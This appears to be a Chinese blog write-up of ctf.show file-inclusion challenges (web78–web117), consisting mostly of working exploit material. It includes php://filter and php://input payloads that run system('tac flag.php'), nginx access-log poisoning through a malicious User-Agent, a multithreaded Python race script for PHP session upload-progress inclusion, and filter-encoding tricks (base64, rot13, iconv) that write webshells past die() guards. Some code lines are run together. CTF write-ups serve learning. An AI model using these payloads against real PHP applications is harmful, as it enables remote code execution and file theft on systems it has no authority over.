当前位置: 首页 > ai >正文

文件包含篇

web78

第一题filter伪协议直接读源码即可
?file=php://filter/convert.base64-encode/resource=flag.php

web79

flag.php的php无法用大小写绕过,所以用Php://input只读流

import requests
url = "http://fadb524a-f22d-4747-a35c-82f71e84bba7.challenge.ctf.show/?file=pHp://input"
payload = "<?php system('tac flag.php'); ?>"
# 构造请求头,确保 PHP 能正确解析 php://input
headers = {"Content-Type": "application/x-www-form-urlencoded"
}
response = requests.post(url, data=payload, headers=headers)
print( response.text)

web80

依然是上题的方法,不过flag的文件名变了,我还以为是flag.php所以没去ls导致用了点时间去排查!

web81

用日志包含

import requestsurl = "http://e1891a4b-af44-4673-a82d-8e53b6bd2f0f.challenge.ctf.show/?file=/var/log/nginx/access.log"
headers = {"User-Agent": "<?php system('tac fl0g.php');?>"
}
response = requests.get(url, headers=headers)
print( response.text)

但是这里要第二次运行才可以得到想要的结果,因为你第一次访问的时候你要的东西还没在日志文件里面!

web82

点被过滤了就只能打session包含了
先上传个表单,然后里面有个<input type=“hidden” name=“PHP_SESSION_UPLOAD_PROGRESS” value=“unique_identifier”>关键就在于这的name,命令就写在value里面

session.upload_progress.name=“PHP_SESSION_UPLOAD_PROGRESS”,这里的post前端表单上传与name同名变量就可以获得上传进度

然后就是上传于读取的竞争了
在这里插入图片描述
读取
在这里插入图片描述

web83—web86

依旧是session包含

import io
import requests
import threadingsessid="flag"
url="http://819302a9-0426-4a8c-82bf-8bb5fc2343e1.challenge.ctf.show/"def write(session):while event.is_set():f=io.BytesIO(b'a'*1024*50)r=session.post(url=url,cookies={'PHPSESSID':sessid},data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('tac fl0g.php');?>"},files={"file":('feii.txt',f)})def read(session):while event.is_set():payload="?file=/tmp/sess_"+sessidr=session.get(url=url+payload)if 'feii.txt' in r.text:print("[+] 成功写入!响应:")print(r.text)event.clear()else :print("[-] 继续尝试...")if __name__=='__main__':event=threading.Event()event.set()with requests.session() as sess:for i in range(1,30):threading.Thread(target=write,args=(sess,)).start()for i in range(1,30):threading.Thread(target=read,args=(sess,)).start()

web87

这道题是写入文件,但是你可控的东西在死亡函数之后,因此需要绕过死亡!
方法一:base64编码

file:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%31%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
post:content=aaPD9waHAgcGhwaW5mbygpOw==

要写什么自己定(当然直接写马是最好的),我这文件名是111.php,写的是phpinfo(),还有就是前面加aa是为了将前面的6的凑成4的倍数,因为base64解码时四个字节一组
方法二:rot13编码(原理是一样的)

?file=php://filter/write=string.rot13/resource=shell.php
content写马就行

但是它只适用于短标签未开启的情况,因为<?php die('大佬别秀了');?>的rot13解码是<?cuc qvr('大佬别秀了');?>如果短标签开启了就会错误!

web88

data://协议可打!

web116

web部分
在这里插入图片描述
那这就简单了,不就是任意文件读取了吗?直接?file=flag.php然后在响应里面找到flag的base64编码,解码即可!

web117

用其他编码绕过死亡

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

str = "<?=system('tac f*');"
str_encoded = ''
for i in range(len(str)):if i % 2 == 1:str_encoded += str[i]str_encoded += str[i-1]
print(str_encoded) 		# ?<s=syet(mt'caf '*;)

end!在这里插入图片描述

http://www.xdnf.cn/news/17006.html

相关文章:

  • 秋招笔记-8.4
  • Java基础学习(一):类名规范、返回值、注释、数据类型
  • C++面试题及详细答案100道( 01-10 )
  • 【数据结构】排序(sort) -- 插入排序
  • 【深度学习新浪潮】近三年城市级数字孪生的研究进展一览
  • 【数据结构入门】链表
  • Vue3核心语法进阶(生命周期)
  • 【教学类-52-17】20250803动物数独_空格尽量分散_只有一半关卡数(N宫格通用版3-10宫格)0图、1图、2图、6图、有答案、无答案 组合版24套
  • 华为OD机考2025C卷 - 分配土地 (Java Python JS C++ C )
  • 【Spring AI快速上手 (二)】Advisor实现对话上下文管理
  • 体验Java接入langchain4j运用大模型OpenAi
  • 30天入门Python(基础篇)——第31天:标准库学习之re模块
  • 如何给Word和WPS文档添加密码或取消密码
  • 【回眸】香橙派zero2 阿里云机器视觉分拣系统
  • odoo reportbro 拖拽式报表设计
  • 广东省省考备考(第六十六天8.4)——言语、常识(强化训练)
  • 【笔记】重学单片机(51)(下)
  • Git基础玩法简单描述
  • 【Django】-3- 处理HTTP响应
  • 二值图针对内部轮廓腐蚀膨胀
  • 网安学习NO.21
  • GaussDB 数据库架构师(十二) 资源规划
  • 基于鼠标位置的相机缩放和平移命令的实现(原理+源码)
  • 下面是修正后的完整版 doit_effects.c,已经做了三大关键修复(文件开头也有注释说明)
  • [激光原理与应用-135]:光学器件 - 透镜的本质是利用材料对光的折射特性,通过特定形状的表面设计,实现对光线的会聚、发散或成像控制的光学元件
  • 决策树(回归树)全解析:原理、实践与应用
  • 区块链基础之Merkle B+树
  • 人工智能简述
  • Assistant API——构建基于大语言模型的智能体应用
  • 【C#】操作Execl和Word文件-2